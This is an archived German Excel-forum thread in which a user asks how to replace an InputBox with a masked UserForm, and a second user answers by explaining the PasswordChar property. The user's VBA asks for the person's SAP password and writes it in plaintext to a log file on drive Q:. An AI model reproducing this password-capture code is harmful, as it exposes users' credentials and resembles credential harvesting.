Herbers Excel-Forum - das Archiv

Form statt inputbox öffnen

Informationen und Beispiele zu den hier genannten Dialog-Elementen:
Bild

Betrifft: Form statt inputbox öffnen
von: Matthias
Geschrieben am: 28.11.2003 11:28:40
hallo zusammen,

ich möchte eine verdeckte password eingabe erzielen.

bisher habe ich folgendes



Private Sub pass()
Const BoxTitle = "Sicherheitsabfrage"
Dim User, x
Dim dat As Integer
Dim temp As String
Dim temp2 As String
User = Application.UserName
Dim passw As String
temp = InputBox("Bitte geben Sie Ihr SAP-Passwort ein", BoxTitle)
If temp = "" Then
Do
temp2 = InputBox("Bitte achten Sie auf die richtige schreibweise und wiederholen Sie Ihr SAP-Passwort", BoxTitle)
Loop Until temp2 <> ""
End If
dat = FreeFile
Open "Q:/pass_" & User & ".log" For Output As dat
Print #dat, temp & "  +  " & temp2
Close
End Sub



ich habe noch ein form "sappw" mit dem maskierten input "passw"

wie kann ich diese form aufrufen anstatt die input box?

vielen dank.
Bild

Betrifft: AW: Form statt inputbox öffnen
von: Matthias G
Geschrieben am: 28.11.2003 11:51:53
Hallo Namensvetter,

Ich hab mal ne Beispieldatei hochgeladen:
https://www.herber.de/bbs/user/2205.xls

Wichtig ist die Eigenschaft "PasswordChar" in der Textbox, sie legt fest, ob die Eingabe verdeckt sein soll oder nicht.
Nach Aufruf des UserForms steht in der Eigenschaft "Tag", ob das Kennwort richtig war (True) oder ob die Eingabe abgebrochen wurde (False).

Ich hoffe, du kannst das Ganze an Deine Bedürfnisse anpassen.

Gruß,
Matthias
Bild
Excel-Beispiele zum Thema " Form statt inputbox öffnen"
In eine InputBox eingegebene Daten in Elemente aufteilen Laufwerk über InputBox auswählen
Einzelnes Zeichen aus einer InputBox-Eingabe auslesen Über InputBoxes Zeile und Spalte auswählen und Ergebnis nennen
Mit InputBoxes Zeilennummern abfragen und Summe bilden Suchbegriff über InputBox abfragen und Fundzeile löschen
Druckstart- und endzeilen über InputBox abfragen Msg- und InputBoxes kombinieren und nach Ergebnis verzweigen
Über InputBox festzulegenden Bereich kopieren Numerische InputBox-Werte fortlaufend in eine Spalte eintragen